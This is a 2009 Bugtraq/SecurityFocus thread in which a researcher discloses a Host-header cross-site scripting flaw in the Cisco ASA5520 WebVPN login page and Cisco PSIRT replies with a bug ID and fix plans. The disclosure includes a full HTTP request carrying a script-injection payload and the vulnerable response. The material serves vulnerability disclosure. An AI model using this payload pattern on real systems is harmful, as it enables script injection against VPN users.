Cisco ASA5520 Web VPN Host Header XSS Mar 31 2009 10:17AM
Bugs NotHugs (bugsnothugs gmail com) (1 replies)
RE: Cisco ASA5520 Web VPN Host Header XSS Apr 24 2009 02:45PM
Mark-David McLaughlin (marmclau) (marmclau cisco com)
This is the Cisco PSIRT response to an issue discovered and reported to
Cisco by Bugs NotHugs regarding a cross-site scripting vulnerability in
the Cisco Adaptive Security Appliance (ASA) clientless SSL VPN feature.
Cisco PSIRT greatly appreciates the opportunity to work with researchers
on security vulnerabilities, and welcomes the opportunity to review and
assist in product reports. PSIRT would like to thank Bugs NotHugs for
reporting this issue to us.

Cisco has release an IntelliShield Alert on this vulnerability, which is
available at:
http://tools.cisco.com/security/center/viewAlert.x?alertId=17950. This
and other IntelliShield Alerts are available off the Cisco Security
Center (www.cisco.com/security).

Cisco is currently patching this vulnerability as Cisco bug ID
CSCsy82093 and the fixes will be available in,, and
8.2.0. These images will soon be available for download at either
http://www.cisco.com/cgi-bin/tablebuild.pl/asa or

To check on the latest versions with fixed releases please consult the
Cisco Bug Toolkit


-----Original Message-----
From: Bugs NotHugs [mailto:bugsnothugs (at) gmail (dot) com [email concealed]]
Sent: Tuesday, March 31, 2009 6:18 AM
To: bugtraq; fd
Subject: Cisco ASA5520 Web VPN Host Header XSS

- Cisco ASA5520 Web VPN Host Header XSS

- Description

Cross-site scripting.

- Product

Cisco, ASA5520, IOS 7.2(2)22

- PoC

Modified request:

POST /+webvpn+/index.html HTTP/1.1
Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: webvpnlogin=1
Content-Length: 66



HTTP/1.1 200 OK
Server: Virata-EmWeb/R6_2_0
Content-Type: text/html
Cache-Control: max-age=0
Set-Cookie: webvpn=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/
Set-Cookie: webvpnlogin=1
Content-Length: 5556

Copyright (c) 2004, 2005 by Cisco Systems, Inc.
All rights reserved.

<META http-equiv="PICS-Label" content='(PICS-1.1
"http://www.rsac.org/ratingsv01.html" l gen true comment "RSACi North
America Server" for
"http://"'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.owasp.org/+webvpn+/index.html" on
"2000.11.02T23:36-0800" r (n 0 s 0 v 0 l 0))'>

<meta http-equiv="Window-target" content="_top">
<title>WebVPN Service</title>

- Solution


- Timeline

2007-09-17: Vulnerability Discovered
2008-02-15: Disclosed to Vendor (auto-reply)
2009-04-02: Disclosed to Public (XSS is so 1999)


Shared Vulnerability Disclosure Account

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus